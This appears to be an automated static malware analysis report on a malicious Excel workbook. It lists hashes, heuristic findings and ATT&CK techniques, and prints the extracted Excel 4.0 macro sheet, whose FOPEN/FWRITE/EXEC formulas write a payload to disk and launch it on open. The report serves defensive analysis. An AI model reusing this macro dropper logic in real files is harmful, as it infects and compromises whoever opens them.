Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3e30894020dc58fd…

MALICIOUS

Office (OOXML)

240.5 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-24
MD5: c2085c2ddf18a9a2f9a1d5a483887eb1 SHA-1: f6f7ce6c23b485aa1e30299c9a858297c1cdd4c8 SHA-256: 3e30894020dc58fdb6f8fa7ced6d9a9acba26887383f8b0a2003e50c0c099a0e
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains critical heuristic firings indicating the presence of Excel 4.0 macros, including the use of dangerous functions like FOPEN, FWRITE, FCLOSE, and EXEC. These functions are used to download and execute a second-stage payload. The macro sheet also contains an EXEC call which is likely responsible for launching the downloaded payload.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1494 bytes
SHA-256: df4b43be460b827c2bb83c3f2e54332059c4d950967ce3f1863aab2bd5c2ea50
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A161:B1819"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="161" spans="1:1"><c r="A161" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$857, 1, 200), 1+2)</f><v>0</v></c></row><row r="271" spans="1:1"><c r="A271" t="b"><f>FOR.CELL("uaoqzxDpZWTwX",Sheet1!D155:E12911, TRUE)</f><v>0</v></c></row><row r="384" spans="1:1"><c r="A384" t="e"><f>FWRITE(Macro1!A161,CHAR(uaoqzxDpZWTwX))</f><v>#NAME?</v></c></row><row r="491" spans="1:1"><c r="A491" t="b"><f>NEXT()</f><v>0</v></c></row><row r="610" spans="1:1"><c r="A610" t="b"><f>FCLOSE(Macro1!A161)</f><v>0</v></c></row><row r="857" spans="2:2"/><row r="1601" spans="1:2"><c r="A1601" t="b"><f>SET.VALUE(Macro1!$B$1612, GET.NOTE(Macro1!$B$1612, 1, 200))</f><v>0</v></c></row><row r="1612" spans="1:2"/><row r="1718" spans="1:1"><c r="A1718" t="b"><f>EXEC(Macro1!$B$1612)</f><v>0</v></c></row><row r="1819" spans="1:1"><c r="A1819" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="AC00" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>